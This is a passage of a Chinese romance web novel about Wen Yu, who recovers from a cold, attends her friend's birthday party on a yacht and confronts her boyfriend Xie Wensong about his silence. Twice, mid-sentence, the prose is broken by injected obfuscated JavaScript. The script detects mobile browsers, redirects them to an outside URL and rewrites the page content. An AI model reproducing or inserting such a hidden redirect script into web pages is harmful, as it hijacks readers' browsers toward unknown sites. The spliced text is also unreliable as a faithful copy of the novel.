次日下午,温遇请了半天假,感冒闹得她头痛,不得已只能寄希望于睡眠恢复。 离谱的是,她又开始做梦。 身上还是那身半湿的校服,场景却出现在空无一人的教室,身边没有课本,没有书包,她靠在桌边一阵茫然。 倏然,有脚步声逐渐靠近,她抬头的那瞬间,映入眼帘的还是那张她最熟悉的脸。 不过这次谢闻颂没穿校服,一身浅灰色兜帽套头卫衣,温遇能清楚看见他手背的筋脉,他伸出手,半屈起手指轻刮她的脸,兜帽里的那张脸她看不清表情,像梦境刻意想要抹去的一部分。 后腰抵在桌边,她退无可退,只能被迫着承受眼前人逐渐压下来的呼吸,像清凌凌的雪洒在她唇上,漫起清爽的凉。 谢闻颂也许是刚吃过薄荷糖,带着清凉甜味的吻在她的颊落下,动作很轻却丝毫不容她避开。 温遇收紧呼吸,睫毛不停打颤,两个人的动作都有点太生涩,像那个年纪能给对方自己仅有的全部。 附中校服里有一套专门汇演时候穿的衣服,女生那套上身是娃娃领系带衬衫,下身是暗纹格子裙。谢闻颂双手箍住她的后腰,把她抱在桌面上,百褶裙的裙摆像花瓣一样在桌面一角铺开。 领子下的黑色系带早已被蹭得松散下来,谢闻颂把她架在桌面上,伸出手帮她重新系好,就是不让她从桌子上下来。 温遇被他的无赖弄哭了,用脚踢他,谢闻颂不闪不避任由她踢,他该做做他的,伸出双手从后腰搂住她,一点点吻上她的耳朵…… “!” 这会温遇是真的被吓醒,手背贴上脑门,出了一头冷汗。 梦境真实到仿佛真的被他吻了耳朵。 各种情绪蜂拥一般涌上头,掺和成难以下咽的药膏,想起昨天到今天某人除留下一张纸条什么话也没说。温遇再也忍不住,直接从枕头旁边摸出手机,对话里框打了十几行愤怒控诉的文字—— 最后还是没发出去。 她懊恼着重新倒回床上,想自己怎么会做这种梦。 回想都觉得羞耻。 明明昨天还在想他肯定不是要给自己吹头发,结果今天就梦到了他真正想对她做的事。 “……” 温遇越想越委屈。 虽然做梦这事怪她,难道谢闻颂就一点问题都没有吗? 于是越想越委屈的鱼鱼同学把对话框清空,重新打了两句话发过去。 小鱼丸了:谢闻颂。 小鱼丸了:我好讨厌你好讨厌你好讨厌你。 重要的讨厌一定要说三遍。 这是公主最后的倔强。 55.荔枝 55/ 温遇连着吃了几天药才把病养好,这之间上班午休的间隙,林檬有偷偷问她和某人的事情解决了没有。 其实她也不知道解决没解决。 大抵应该是没解决。 因为她也没和谢闻颂彻底地去聊这个问题。 温遇沉默地看着她,回以一个辨不出情绪的笑。 林檬了然,便不再问。 午休时间,整片工作区都挺安静的,毕竟有人戴着眼罩睡得正香,大家来来往往都自觉调小音量。困倦感直冲天灵盖,温遇在茶水间把最后一袋药吃完才回到工位。 她视线定格在电脑旁边的台历本,周六的位置是她刚才新标注的,程以桉的生日。 程以桉昨天说准备往她这边寄邀请函,话题未完之余,她悄摸摸地问了句谢闻颂会不会和她一起来。 大抵应该是不会的。 温遇知道谢闻颂这几天不在南川,因为那天感冒早睡的晚上,谢闻颂半夜三点给她发了个定位,说可能过几天才回来,隔天温遇就收到了他早就买好的水果和生鲜,一下子把冰箱填满。 可是心里却空得发慌。 信息里并没提及很多消息,他口吻一如既往,没有泄露分毫情绪,之前的事也没再提过,仿佛真的被当做旧日历揭过去。 除了那张纸条,他再没发过和那天早上的事有关的话。 温遇沉下心,选择跳到和某人的对话框,编辑了消息—— 【周六桉桉生日,在珀屿湾。】 【你来接我吗?】 他只说几天就回来,温遇也不知道具体是哪天。 她又回到和程以桉的聊天界面,打字回:我问问他。 相处多年的好闺蜜此刻仿佛看到她的情绪并不如往常那样好,问:你们闹矛盾了? 手指悬浮于屏幕上,温遇低声叹气,原本想说周六见面再详讲,又想起那天是她的生日,应该快快乐乐度过,她这些事,还是先别说了。 小鱼丸了:没事。 像是感觉程以桉还会继续问似的,于是补充:我们挺好的。 对面什么也没说,直接拨来语音电话,温遇工作日基本手机都调成振动,但是微信来电音乐并没有关掉,所以当耳边突然出现“你爱我呀我爱你蜜雪冰城甜蜜蜜”时吓了一跳,连忙跑到电梯间接听。 这个来电铃声还是程以桉当时让她设置的专属闺蜜铃声,虽然温遇现在都不知道为什么会是这首。 那么欢快的一首歌,此刻莫名让她有些鼻酸。 这段时间其实过得并不算顺利,从游乐场那天之后,虽然断断续续经历了新的感情变换,也有不少令她开心的事出现在这段时间里。 可她总觉得自己在和什么过不去,包括和家里,也包括和自己。 一点点小风吹起就能掀动情绪。 其实和谢闻颂发生的这件事并不算大,温遇甚至觉得可以和他很冷静地坐下来把这个问题说清楚,彼此有什么意见都可以调和,因为这从来不是一个非对即错的命题。 可是谢闻颂暂时没给她这个机会,一腔感慨,全都被堵了回来。 她向来对事情都采取淡处理的方法,但好像在这件事上一点也行不通。 因为她付出了感情,她在意谢闻颂也想知道他的感受,她也不愿意做在感情里做什么都无所谓的傻瓜,她也想让谢闻颂知道,她会为他们之间的感情痛。 温遇也不想再用坚强当做面具去掩饰自己不痛,她想当着谢闻颂的面前掉眼泪,使出力气去打他的肩膀,问他为什么要一走就走好几天,为什么连个抱她的时间都没有。 她其实也并不难哄。 尤其是在心动的人面前。 温遇心情一下子变得复杂,凭空出现的麻绳将那颗看上去熟透的柠檬勒碎,酸掉牙的汁水全都淋在了那颗心上。 她手有点抖,下意识压低声音,嗓子很紧:“喂。” “哼哼。”程以桉笑得很有深意,说出的话相当了解她,“我就知道你在骗我。” “和我面前你还撒什么谎?你开心不开心我能不知道?” 鼻腔酸涩聚集,温遇张了张嘴,声音不太能发得出来,她蹲在角落的绿植旁边,好似两个孤独体在某刻被绑定在一起。 她微微昂起头,叶片打在她的额角,两个看起来“同病相怜”的个体互相隐形取暖,温遇努力从嗓子挤出一个音节:“嗯。” “他让你伤心了是吧。” 程以桉都听出来温遇的鼻音了。 “得了,周六来找我,超绝36D等你来埋,姐姐的怀抱可比男人香。” “……” 饶是刚才心里还发酸的温遇,听到这句也没忍住沉默了一下,气氛转变飞快,她甚至能把声音给找回来,没忍住因为笑而弯起眼。 程以灏似乎在旁边,轻斥了句:“别让爸听到你刚才的话。” 程以桉不为所动,切了声。 温遇莞尔,也知道程以灏这句话是什么意思。 相当时,程父一心想将女儿培养成文文静静的小公主,程以桉还没出生前五岁之前的小裙子就已经够装两大箱,结果后来这些裙子一条接一条地报废。 原来是程以桉穿着它们玩泥巴,和菜园子里的萝卜较劲比谁力气大,穿着小皮鞋甚至想爬树,光面的鞋子被磨得一条条黑印不说,裙子上精致的蕾丝全都被刮破。 程父看两大箱的裙子没一条是完好的,也在想自己是不是束缚了女儿的天性。 不过谁家的女儿几岁就会想爬树啊? 这是天性不天性的问题吗? 这简直是恐怖神话。 此事之后,程父也顺着女儿的性格陪她成长,只要在不伤害自己,保证安全的范围内,做什么似乎都可以接受。 后来程以桉和温遇结交,一个明艳一个温和,看上性格差相当多,不过也并没因为这些阻挡两个人越交越深的情谊。 而她们的性格也不仅仅只有单个词语就能概括。 程以桉开朗不失细腻,温遇柔和不失明媚。 她们都不是性格片面的人,相反极其丰满,在自己确定好要走的路上,一点点丰富塑造起自己的各个部分。 就像此刻温遇未表明的难过,程以桉能敏锐地知道,并不仅有她对她的了解,也因为她对情绪的感知,一样洞若观火。 如果今天换作是程以桉失落,温遇一样会听得出来。 温遇横起手臂搭在膝盖上,心情好了许多,语调也轻松上扬:“好的,大小姐。” 她们都有让彼此心情变好的魔法。 这是熟悉的人彼此之间互相循环的能量。 “对了,我还寄了一件礼裙给你,M家这个季度的新款,我买了两件不同颜色的,你周六穿这件来,不许说拒绝。” 听到这,温遇稍显迟疑,有点没反应过来:“嗯?” “嗯什么嗯?”程以桉有点咬牙切齿:“我上次送你一套VanCleefArpels的手链和项链,你有几回戴在身上了?我不管,这次你得穿我送你的裙子来我的生日会。” 她补充:“不过你放心,我眼光好,那条裙子绝对适合你。” 程以桉知道温遇一向不怎么追求这方面,平时工作生活的日子也就罢了,她的生日会还是能小小做主一下的,料想她大概不会拒绝。 “知道啦,我会穿着去的。” 温遇腾出来没拿手机的那只手,掌心贴在脸颊,心情已不像刚才那般糟糕。 “那好,一言为定,我到时候来接你。” 结束掉语音通话,温遇稍微整理下心情才回到工位,清理未读消息的时候,发现谢闻颂在刚才她和程以桉聊天的时候就已经回复了。 Bigboss:好,我去接你。 那就那天把所有问题解决掉吧。 温遇暗暗思考。 …… 温遇晚上回家的时候先取的快递,程以桉寄的同城件,几个小时就送到蓝湾。 她洗完澡才拆的件,把裙子拆开,温遇平铺搭在沙发上,硬是愣了一分钟。 白色高密度缎面裙,手感一点也不黏滞,v领修身设计,裙摆中间开叉呈“人”字形,顺接波浪鱼尾,前短后长,像小美人鱼垂落的拖尾。 她很少穿这种,这裙子一看就相当挑人,设计也很大胆。温遇犹豫着换上试了下,尺寸基本贴合,衣料材质很好,丝滑到一点儿也不挂肤,她对着全身镜给程以桉拍了张照片过去。 小鱼丸了:【图片】 程以桉光速回复:你以后能按照这个标准选衣服吗?【馋】【馋】【馋】把你那些宅女卫衣扔远点。【发怒】【发怒】【发怒】 “……” 温遇单手撑墙,一时间竟无言以对。 紧接着,程以桉又发来一条:那个啥,周六我能埋你的吗? “…………?” 温遇低头,似乎在确认程以桉是不是认真的。 - 珀屿湾是南川相当漂亮的一块地方,临靠溪湖,地理位置优越到每年这里的旅游业所产生的经济能成为城市GDP相当重要的一笔。 依山傍水给足了充分的环境条件,多数游客慕名而来,似乎在这里总能找到令自己心怡的某一处。 温遇高中的时候曾和程以桉来玩过几次,这里不靠市区,若搭乘公共交通怎么也得三四个小时,因此来的时候并不多。 她们当时正看见靠岸的私人游艇上,貌似在开很热闹的party,灯串从地面能一直拉到游艇的最上方,暗色的水面每一点涟漪都能看得很清楚。 星星仿佛都没他们耀眼。 当时程以桉还在和她说,如果有一天她也能在游艇上开party,一定让温遇和她一起体验。 苟富贵勿相忘嘛。 一语成谶,多年前少女瑰色的梦落实到现在,两个人似乎都有种别样的感慨。 程以桉这座生日游艇确实是私人订制,温遇上来的时候注意到艇身侧面的印文,刻着程以桉的名字,圆形灯串夹杂在粉色的气球中间,围绕着游艇亮了一圈,暮色西沉,一齐摇晃在她的眼前。 相当少女梦。 程 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14711463|141880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以桉今天邀请的人不少,温遇在人堆里看见陆繁笙,略微差异。 对方也看见她,笑着点头,只是因为有人要找陆繁笙说话,她略带歉意看了温遇一眼,并没走过来。 自从上次春茶那件事以后,她基本没和陆星桓这边的人见面,也许她心境确实有所变化,再想起当时让自己感触很深的事,现在已平静如水。 程以桉和每个前来参加生日宴的朋友都打了招呼后,兜兜转转和在角落里已经吃完一块柠檬巴斯克、半块提拉米苏、三块曲奇饼干的温遇对上眼。 程以桉抬手捏了下她微微鼓起的脸:“你倒还真不客气啊。” 温遇不客气地腾出手反捏回去,“我要是跟你还客气,现在估计眼巴巴站在岸上,连你影都看不见了。” 程以桉真受不了她这样,佯装恶狠狠:“真应该给你口红吃花,眼线吃歪,腮红打到脖子上。” “放心,根本不可能吃花的。” 温遇得意洋洋朝她挑眉:“因为我今天根本就没涂。” 程以桉这才把视线移到她身上。 不错,头发卷了衣服穿了,鞋子虽然是那双上次和上上次的老熟人碎钻高跟,不过搭配好歹审美在线,整体还是非常顺眼的。 温遇看她盯着自己,顺势带着脚步转了个圈:“今日份OOTD,你打多少分?” 程以桉瞅她那副骄傲样本想锉锉她这股劲,不过想了想诚实答道:“99分吧,怕满分你太骄傲了。” “你给我六十分我都骄傲。” “……” 游艇分三层,娱乐设施齐全,大家根据需求随意走动,自由活动时间,程以桉拉着温遇去相对人少的地方,说点只有她们两个人才知道的事。 温遇现在提起和谢闻颂这事,相比之前平静很多,也许是内心早已将今天铺垫好的话全都准备齐全,料定这件事一定可以解决,这种考前充分复习的淡定应用到这件事上也基本七七八八。 相比之下,程以桉仿佛从温遇口中探寻到某人的新大陆:“这是谢闻颂?” “我怎么听着感觉像受了委屈的小学生离家出走呢?”程以桉都有点瞠目结舌了:“这傲娇的样,你平时都是怎么驯服他的?” 温遇无语凝噎:“什么驯服,他又不是——” 放在旁边的手机起了振动,温遇话到半截停住,顺手抄过来,正是某人打来的语音电话。 她抬手给程以桉看了眼屏幕的备注,后者当即比个嘘的手势,示意她可以接电话。 温遇点开绿色按键,听筒贴在耳边:“喂。” 谢闻颂先是嗯了声:“你们几点结束?” “大概,八九点吧。”温遇听见他那头像是在机场,隐约听见电子音播报航班班次的声音。 “你刚下飞机?” “对。”谢闻颂似乎笑了声,“正好可以来接你。” “不然这么多天没见,公主别怀疑我跑掉了。” 明明是开玩笑的一句话,温遇听着莫名心头又有点酸。 这人怎么这样。 “你要是真跑就跑了呗,反正我也不会去追的。” 温遇硬着嘴驳他,似乎能从这里拽回来一点自己原有的傲娇。 “哪舍得让公主追。” 谢闻颂收敛起刚才的笑音,似乎格外认真:“我得自己回来才行。” “……” 怎么又说这种话。 别以为说这种话她就会心软。 温遇听见那头司机和他搭话的声音,加上刚才某人的话还烫在耳边,只得匆匆道:“你快挂了吧,赶紧上车。” “嗯。” 温遇将手机锁屏放到一边,程以桉见她结束通话,憋了半天的情绪这会儿才释放:“哎呦喂这爱情的酸臭味,我是不想闻也得闻啊。” “哎呦还哪舍得让公主追。” “我可不相信你们只到牵手这一步!”程以桉凑近,鼻间轻嗅八卦道:“kisskiss没?” 温遇点头。 “卧……!”程以桉音量都出来硬是生生憋住,“怎么样?” 温遇装傻:“什么怎么样?” “吻技怎么样啊,吻技啊兄弟!!!” 某人八卦之火烧到跟前,都快把她给燃没了,温遇回想起他们两次的亲吻,几乎就是嘴唇相碰,轻轻的,柔柔的,像两片羽毛温和拂过—— 这怎么知道吻技这种事。 “没什么吻技。”温遇心里还憋着股气忿忿道,把最后一小口没吃完的巴斯克叉掉,认真思考:“反正我没品出来。” 没得到想要的答案,程以桉上半身往小沙发上一仰,朝她摆摆手:“那你们今晚还是好好培养感情去吧,先把吻技锻炼出来再说。” “下次给本王呈点有用的信息,退下吧。” 温遇抬手给了她一下,顺道把放在玻璃桌上的手机捞起。 锁屏打开,页面停留在她和谢闻颂的聊天界面。 语音通话时长07:21。 温遇愣了下。 刚才那两句有这么长时间吗。 56.荔枝 56/ 游艇在波光潋滟的水上开了一圈,最后重新泊回岸边,温遇和程以桉坐在露天的甲板上,两人座位中间搁张木制小圆桌,上面放着两杯颜色相当漂亮的甜酒。 其实是刚才程以桉找人调的,温遇原本没想喝来着。只是她对食物多多少少有种特别的颜控,甜酒颜色确实很好看,像被晚霞晕染的粉,上面甚至还有碎星般的细闪,不知道是用什么做的。 液面铺着薄橙片,还有几簇鲜绿的薄荷叶。 于是温遇没忍住也去要了一杯。 一如既往喝之前多角度摆拍,程以桉已经习惯性从她那偷图。 见温遇拍完,这才拿起杯子抿了口,眼睛微亮,给出评价:“不错诶!” 温遇还在整理手机里的照片,没想到刚刚以为的“美丽废物”竟然味道不错,她还和程以桉反复确定定:“真的好喝?” 程以桉见她防备心还挺强,不禁咂嘴吐舌,予以一个劝你相信我的眼神:“骗你是小狗。” 温遇盯着她的眼睛笑,随手把手机搁在桌面上,扶着吸管尝了一口。 入口是树莓汁的微酸,中调混着清甜的西柚味,末尾从舌尖带起一丝薄荷的清凉,仿佛把冬季的雪收集起来,淋在唇齿间。 很浅的甜,像蛋糕表面那层一吹就散的糖霜,酒精味微不可察,温遇喝的第一口就爱上。 倒是个相当清爽的搭配。 荡起的湖水拍在游艇上,温遇能很清楚听见水声,露天甲板空气很好,被水汽笼罩的风仿佛和薄荷一样清凉。 温遇和程以桉有一搭没一搭天马行空地聊着,她贪这口甜,大半杯下肚,微醺感后知后觉漫上神经,她单手撑着脸微低起头,用另一只手食指在桌面上画圈圈。 相当孩子气的动作。 程以桉没有她喝得多,不过也有点上头,使坏地用手背蹭乱温遇早晨刚卷好的刘海。 温遇没反应,就坐在原地任由她手伸过来捣乱,抬头看她的那眼平静无波。 程以桉想,如果忽略她泛红的脸,大概不会猜到她喝了那么多甜酒。 “诶,温温。” 晚风温柔,程以桉看着温遇,突然想问她一个问题。 “你有没有想过,你和谢闻颂走到今天,其实并不是偶然。” 这句话让温遇稍微反应了会儿,她撑着侧脸的手姿势没变,眼神上提到对面人的脸:“不是偶然,那是必然?” 刚说完她就要摇头,牙齿咬住吸管:“是不是有点太绝对了?” 爱情这种事,怎么能用必然解释。 “可能不一定要用必然解释,不过概率应该挺大的,至少大于偶然在一起的概率。” 温遇在心里默念好几遍这句话,然后突然道:“他好像以前就喜欢我。” 程以桉仿佛吃到什么惊天大瓜一样,迅速找到突破点,凑近她询问:“你怎么知道的?” “给我的感觉是。”温遇下意识瞟了眼熄屏的手机,光色晦暗里,她看见自己眼里很浅的水汽:“不过他也没主动说过具体是在什么时候。” “这人还挺神秘的。”程以桉撤回上半身,坐回到自己的位置上,“倒是看不出来,谢闻颂喜欢人,还真有自己的一套方式。” 温遇眨眼。 是吗? 是吧。 不过现在,气她倒是也有另外一种方式。 …… 游艇三层的人最少,温遇坐在露天的位置,把最后一点甜酒喝完,一边被酒精微醺感侵占思绪,一边又被凉风吹,把那马上要涨满的醉意再削掉丝丝分毫。 二层正对着她的位置应该在唱歌,温遇一个人坐在那,努力把歌词听清。 【你眼睛里的秘密。】 【从不让我看清。】 现在不管她听到什么,亦或者看到什么,都会不由自主联想到谢闻颂。 以前从没有一个人能让她想得这么频繁。 于是温遇忽然对他曾经的暗恋过往很好奇,但又没忘记他这几天的有点“冷漠”,于是就只能带着这种小情绪,一边别扭,一边又忍不住往下想。 【请原谅我对你伪装的冷漠。】 【不是装的洒脱,或想的太多。】 【因为你让我懂最深的爱,最沉默。】 像是醍醐灌顶般,温遇敏锐捕捉到“最深的爱最沉默”这几个字。 难道是这样吗? 程以桉下去寻思给她找点醒酒的饮品,刚下到一楼,专门负责游艇的工作人员直接朝她这边走过来。 “程小姐,刚才有位没有邀请函的人等在外面。” 程以桉拂袖口的动作稍顿,刚才的微醺基本消散差不多,她稍微想了下可能知道是谁。往游艇出口的位置走,可以瞄到外面穿深色外套的人。 心中的答案得以确定。 不出意外是谢闻颂。 是他的可能性也最大。 “他什么时候来的?”她问。 “大概四十分钟以前吧,因为没有邀请函,他说就在外面等到结束。” 程以桉抿唇:“没事,让他进来吧,是我们这边的朋友。” 工作人员往那边走的时候,谢闻颂意有所感似的往游艇舱投注目光,程以桉还朝他点了下头。 谢闻颂一身便装上游艇,程以桉这才发现他手上还拎了个精致的纸袋。 “谢谢。”谢闻颂向程以桉让自己上来表以感谢,顺势把手里的纸袋递过去:“生日快乐。” 程以桉愣了下才接过,说完谢谢伸手指了指楼上:“温遇在三层露天那坐着,她喝了点酒……” “嗯,没事,我上去吧。” 谢闻颂抬腕看了眼时间,点头向她示意之后,从一侧的楼梯上去。 程以桉在原地站了会儿,这才提起手上的纸袋。 上面的logo她略有耳闻。 那是一家仅做私人订制的蛋糕坊,难预约,有时候甚至需要提前好一段时间开始排队。 不过谢闻颂明显不是排的队,那大抵就是和老板有交情,才拿到这一份蛋糕。 程以桉顺着楼梯的方向往上看,在想自己刚才和温遇说的话。 在一起并不是偶然。 她刚才在和工作人员说让谢闻颂进来的前一秒,看见他正对着手机整理衣领。 仿佛这场即将到来的见面,对他十分重要。 - 谢闻颂一路上到三层,中间并没有任何停顿,靠露天的一侧和室内隔着层透明玻璃,温遇背对着玻璃半倚在桌边,风不小,带着她肩膀旁边的卷发轻轻掀起。 温遇今早卷的时候只轻轻带了点弧度,加上她很少用卷发棒,所以风吹一会儿,弧度就比之前平了些。 谢闻颂走到她旁边,温遇半边脸被长发遮挡,她单手托腮正看手机,袖口的波浪设计受重力下垂,露出一截细窄的手腕。 顺滑的衣料裹住她的躯体,看着还算合适,不过细微之处还是有点松垮,温遇侧坐着,纤薄的脊背一览无余。 风中下垂的鱼尾波浪微微起伏,看上去有种易碎的美感。 她好像这两天又瘦了。 谢闻颂在心里想。 温遇察觉有人过来,自动将视线从屏幕上转移,落到谢闻颂的脸上。 一秒,两秒。 她没有任何情绪变化似的看他。 仿佛只是第一次见他,并不惊讶于他此刻的出现。 她问:“你是谁?” 谢闻颂挽唇,倒是对她这个反应不太意外。 他还是挺容易窥见她一本正经下隐藏的狡黠小狐狸样,引得他不管在做什么事,是什么心情,也乐意全身心投入配合。 谢闻颂双手环胸,没系纽扣的黑色长外套被手臂挤在胸前,他上半身往她这边倾,弯起唇角,一字一句道:“没什么吻技的人。” “…………” 温遇脸上的表情有一瞬间的迟滞,还没完全消散的酒精搅得她所剩的理智也有点被打乱。 女孩鼻腔蕴出一股重重的气,她默默把唇角拉直,继续将视线挪回手机上。 一副不太想搭理他的模样。 不过虽然表面上不搭不理,鱼鱼同学还是悄摸摸用余光瞟旁边的人,只是由于视线的局限性,只是瞟个大致身影和动作,具体表情是一点也看不见的。 若是想要看清表情,就不能维持不搭不理的形象了。 温遇也恨自己的没出息。 正当她陷入两难境地时,余光里骤然出现大片的白金色光闪烁,伴随阵阵声响,给了她抬眼的机会。 是烟花。 温遇抬头,璀璨的烟花在眼前像幕布一样被拉开,她已经很久没看见过距离如此近的烟火,目光一瞬不瞬地盯着眼前的景象。 放在腿上的手被人牵住,温遇这才往旁边看,谢闻颂半蹲在她旁边,毫不掩饰拉她的手。 刚才坐在外面半天,温遇的手要更凉一些,谢闻颂也没比她好多少,不过被他包裹着,倒也很难不升温。 楼下有人在唱生日歌,各种声音混杂在一起,却融合成奇妙的化学反应。 搅得她心也有点乱。 虽喧嚣,但温馨。 温遇不反感这样的热闹。 除了身边这个讨厌鬼。 “你干嘛。” 耀目烟火里,她问了这么一句。 谢闻颂握更紧了些,声音发闷:“帮女朋友暖暖手。” 温遇想起他这几天不声不响离开的事就有点憋气,小声跟他唱反调:“我才不是你女朋友。” 手却没挣开。 这次换谢闻颂沉默不语。 温遇垂眼,他虽然没说话,手却一直握着她的,夜风微凉,吹得他指关节也有点发红。 像有人往上擦了腮红似的。 被醉意轻微麻痹的心尖划过抹流星拖尾,火星在燃烧,有点烫。 她装作没看见移开视线,烟花已经燃尽至尾声,空气里弥漫轻微的烟尘味,谢闻颂这才开口:“回家吧。” …… 温遇现在踩高跟鞋比之前熟练很多,不知道是鞋适应了脚还是脚适应了鞋,四五厘米的高度也能走得很稳。 裙子有些薄,不过她带了件一直垂到小腿长度的外套,初春的温度倒也应付得过来。 指纹贴在识别处,温遇打开门,把外套脱下挂在门口,头也没回和身后的人说:“你是在这待会还是——” 谢闻颂根本没给她把这句话说完的机会,单手从温遇身后扣住她手腕,相当轻易就跨步到她面前。 他本来也没离她多远,这一下面对面的贴合,让刚刚凉意未去的皮肤迅速蒙上层糖霜似的薄热。 屋里灯一盏没开,温遇被谢闻颂两边的胳膊困在方桌之间,他完全没给自己低头的机会,精准在黑暗中寻到她的唇,将他的气息自然而然渡过来。 温遇觉得自己要有原则,在没处理完事情之前绝对不给他这样的机会,唇缝被霸道的温热吞没,她能做的只有守紧自己的牙关,身后是方桌,她也没有第二条退路。 可偏偏谢闻颂不让,指尖从她的腰侧试探性往上,隔着层布料向上似有若无摩挲,走走停停一路到她的耳朵,生涩却炽热的撩拨,仿佛就等着她破功而得逞。 温遇急促喘了声,不得已扭头,中断他们刚才还镶嵌在一起的呼吸。 谢闻颂还想凑上来,温遇往一侧偏头,长发把大半张侧脸挡住。 相连的吻中途而断,谢闻颂明显有要继续的意思,双臂箍住她的腰,不用太大力气就把温遇抱到桌面上,从膝盖处分叉的鱼尾波浪自然下垂,半披在女孩腿上。 温遇不想用这种方式解决问题,好像他们之间不管出现什么都不需要交流什么似的。 她不喜欢这样。 酒精一股劲全冲上脑,温遇积攒多天的情绪根本不需要什么预兆就能猛攻泪腺,滴滴烫人的泪就那么掉下来。 她之前在谢闻颂面前掉眼泪从来都是安安静静,仿佛只是情绪在日记本中堪堪折起一角,不经意间表露而已,很快便可自愈。 可这次,她的眼泪根本擦不完,喉咙里的哽咽压不住,细碎的哭音响在黑暗里,撕碎一切暗里掩盖的平静。 “我讨厌你,谢闻颂。” 断断续续的哭声里,温遇努力把这两个字说清楚。 “我这几天一直在想今天和你说事,可从你离开那天到现在,你为什么连那天的事多余一句也不说,上来就这样。” “我都不想,你还这样。” 她说的是他刚进门就吻她的事。 温遇用手背把眼泪胡乱抹掉,她也知道这样妆估计都已经花掉,糊在脸上一点也不会好看,可她就是不想这样稀里糊涂地过去。 这从来不是好哄不好哄的问题。 反而是她对他们感情的认真。 因为认真,所以才想主动解决问题。 “……” 谢闻颂双手撑在她身体两侧,指端扶在桌沿,他等温遇把话说完,顿了会儿才开口。 “对不起。” “别哭。”谢闻颂从餐桌上的纸巾盒里抽出几张,折成四方状纸巾裹在手指上,想去给她擦眼泪:“是我的错。” “当然是你的错。” 温遇没拒绝他主动凑过来的示好,不过也没表态,睫毛被泪水沾得很重,她只能把眨眼的频率变慢,用裹挟着水雾朦胧的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14774084|141880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼光看他。 刚才哭过的后遗症还在,女孩说话都一抽一抽的:“那你现在能听我说话了吗?” 谢闻颂动作轻柔地把她眼泪擦完,将纸巾揉成团扔进垃圾桶,重新凑到她身边。 “嗯,公主说什么我都听着。” 温遇第一句并不打算直接说,于是带着小情绪又重复了句:“我讨厌你。” “嗯,公主讨厌我,我知道。” 谢闻颂一点也不生气,反而弯起唇角,趁她不注意在女孩唇上啄了下,像吃到糖的小孩。 温遇懒得和他计较,直接把他的肩膀往远推:“事情没说完前,不许亲我。” “你有不开心的地方可以和我直接说,完全不需要自己一个人生闷气。” “你知道你这几天什么也不说就走了,让我觉得……” 温遇抿唇,认真看他:“让我觉得,我没被你很认真地在意着。” 谢闻颂瞳孔漆黑如墨,静静听她把话讲完。 “我知道,这段感情你比我来得更早一些。”温遇垂眼看自己的高跟鞋鞋尖,“但我也不晚。” 像是怕他没听进去,女孩重复:“真的,我也会为我们之间的矛盾难过。” 说到这,她嘴又瘪下去,自然而然地开始委屈,“你当时一句话都不说就走了。” 谢闻颂从她刚才说不晚的时候,心里就已经开始发酸,她说这番话,他又怎么可能不会动容。 他一直喜欢的人,在很认真对待这份感情。 他的鱼鱼公主,真的很为他考虑。 可错在他,被一时的情绪挡住她关切的目光。 是他的错。 是他惹公主伤心。 谢闻颂伸手碰了碰她的脸:“嗯,我的错。” “你也不问我撤回了什么。” “嗯,我的错。” 谢闻颂又问:“那公主可以告诉我,撤回了什么吗?” “不告诉你。” 温遇伸出两只手去捏他的脸,虽然没使多少力气,不过语气却相当“凶”。 谢闻颂第一见到有人恃可爱行“凶”。 “我讨厌你,谢闻颂。” “我好讨厌你啊。” 讨厌说得跟撒娇似的。 生怕他不够喜欢她。 “又讨厌我了啊。”谢闻颂故作惋惜语气,重新恢复刚才和她之间的距离,诚恳发问:“那要怎么办?” 尾音埋在空气里,他像只小狗凑上去:“亲亲你可以气消吗?公主?” “不可以。” 温遇拒绝后,继续把之前的腹稿和他讲完。 “我真正想和你说的是,希望你能及时告诉我你的想法,不要总是自己一个人处理那些情绪。” “我希望我们之间有充分的沟通。” 女孩稍作停顿。 “你那天不开心的原因我也大概清楚。” “我也在考虑我们之间的关系,之后被其他人知道也会是很正常的事。” 温遇咬唇,视线上抬看着他,决定给出她深思熟虑的第一步:“你说得我也会考虑,等我想想给你一个答复行吗?你等等我,好不好?” 他有什么理由会说不好。 不好的是他。 他拥有这个世界上最好最好的公主,和她在一起的每个瞬间,都被她自身的勇敢、善良和坚定浇灌,成长成可以和她站在一起的人。 一直被照顾和温暖的,从来都是他。 “好。” 谢闻颂又问她:“眼睛疼不疼。” “不疼。” 温遇摇头,伸出双臂揽住谢闻颂的脖颈,将上半身的重量挂在他身上。她脸颊还有酒精作用未退去的薄粉,像一颗还没熟透的水蜜桃。 温遇往前挪挪,语气似带诱惑,小兔子不打算继续藏起尾巴,甚至相当大胆地凑近。 “那现在你能给我看看你的吻技吗?” 温遇很少把这种话说得这么直接,所以尽管已经给自己鼓过勇气,却还是不可避免平添少女的羞怯。 手还圈在谢闻颂的脖子上,他这个身高,温遇还得稍微仰点头才能看见他的脸。 不自觉的撒娇就够让谢闻颂折腾一会儿的了,更别提她主动说这种话。 谢闻颂根本拒绝不了她的任何靠近,压抑克制的情绪让他只能先用手背爱怜地碰女孩薄粉的脸,眼神落在她的肩膀:“今天很漂亮。” “我哪天不漂亮。” 温遇不满地鼓起腮帮。 耳边传来道很好听的笑声,紧接着温遇感觉自己被人从餐桌上抱下来,高跟鞋跟落地发出很利落的声响。 